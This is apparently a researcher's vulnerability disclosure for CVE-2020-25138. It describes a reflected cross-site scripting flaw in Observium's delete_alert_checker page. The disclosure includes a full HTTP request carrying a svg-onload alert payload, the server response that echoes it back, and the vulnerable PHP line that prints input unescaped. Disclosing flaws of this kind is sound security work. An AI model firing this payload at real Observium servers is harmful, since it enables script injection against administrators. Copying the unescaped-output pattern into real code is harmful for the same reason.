mariuszpoplawski / **CVE-2020-25138**

Created 2 years ago

CVE-2020-25138

```
CVE-2020-25138
-----------------------------------------
Cross Site Scripting in delete_alert_checker

-----------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to Cross-Site Scripting (XSS) due to the fact that it is possible to inject a

[Additional Information]


Example request that allows to trigger XSS payload.

GET /alert_check/action=delete_alert_checker/alert_test_id=test1337%3Csvg%20onload=alert(document.domain)%3E/confirm=1/ HTTP/1.1
Host: localhost
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: observium_screen_ratio=1; observium_screen_resolution=3840x2160; OBSID=eu94e90vt44eutd8me3e3c7uq9vudjtf


Partial of server response:

HTTP/1.1 200 OK
Date: Tue, 11 Aug 2020 09:16:14 GMT
Strict-Transport-Security: max-age=63072000; includeSubdomains;
X-Frame-Options: DENY
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OBSID=eu94e90vt44eutd8me3e3c7uq9vudjtf; expires=Tue, 11-Aug-2020 09:46:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
Content-Security-Policy: sandbox allow-forms allow-scripts allow-same-origin;
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1228927

<!DOCTYPE html>
<html lang="en">
<head>
    <base href="https://localhost/"/>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>

    <!-- CSS BEGIN -->
  <link href="css/observium.css?v=20.7.10615" rel="stylesheet" type="text/css" />
  <link href="css/sprite.css?v=20.7.10615" rel="stylesheet" type="text/css" />
  <link href="css/flags.css?v=20.7.10615" rel="stylesheet" type="text/css" />
  <link href="css/c3.min.css?v=20.7.10615" rel="stylesheet" type="text/css" />
<!-- CSS END -->
(…)
    <div class="alert alert-info"><button type="button" class="close" data-dismiss="alert">&times;</button>
      <div>Deleted all traces of alert checker test1337<svg onload=alert(document.domain)></div>
    </div>


Below we present vulnerable code:

/var/opt/observium/html/pages/alert_check.inc.php:

 109   else if ($vars['action'] == "delete_alert_checker" && $vars['alert_test_id'] && $vars['confirm'])
 110   {
 111     // Maybe expand this to output more info.
 112
 113     dbDelete('alert_tests', ``alert_test_id` = ?', array($vars['alert_test_id']));
 114     dbDelete('alert_table', ``alert_test_id` = ?', array($vars['alert_test_id']));
 115     //dbDelete('alert_table-state', ``alert_test_id` = ?', array($vars['alert_test_id']));
 116     dbDelete('alert_assoc', ``alert_test_id` = ?', array($vars['alert_test_id']));
 117     dbDelete('alert_contacts_assoc', ``alert_checker_id` = ?', array($vars['alert_test_id']));
 118
 119     print_message("Deleted all traces of alert checker ".$vars['alert_test_id']);
```

```
 120     unset($vars['alert_test_id']);
 121   }


-----------------------------------------

[VulnerabilityType Other]
Cross Site Scripting

-----------------------------------------

[Vendor of Product]
https://www.observium.org/

-----------------------------------------

[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631

-----------------------------------------

[Affected Component]
alert_check -> delete_alert_checker

-----------------------------------------

[Attack Type]
Remote

-----------------------------------------

[Reference]
https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)



-----------------------------------------

[Discoverer]
Mariusz Popławski

-----------------------------------------


Mariusz Popławski / AFINE.com team
```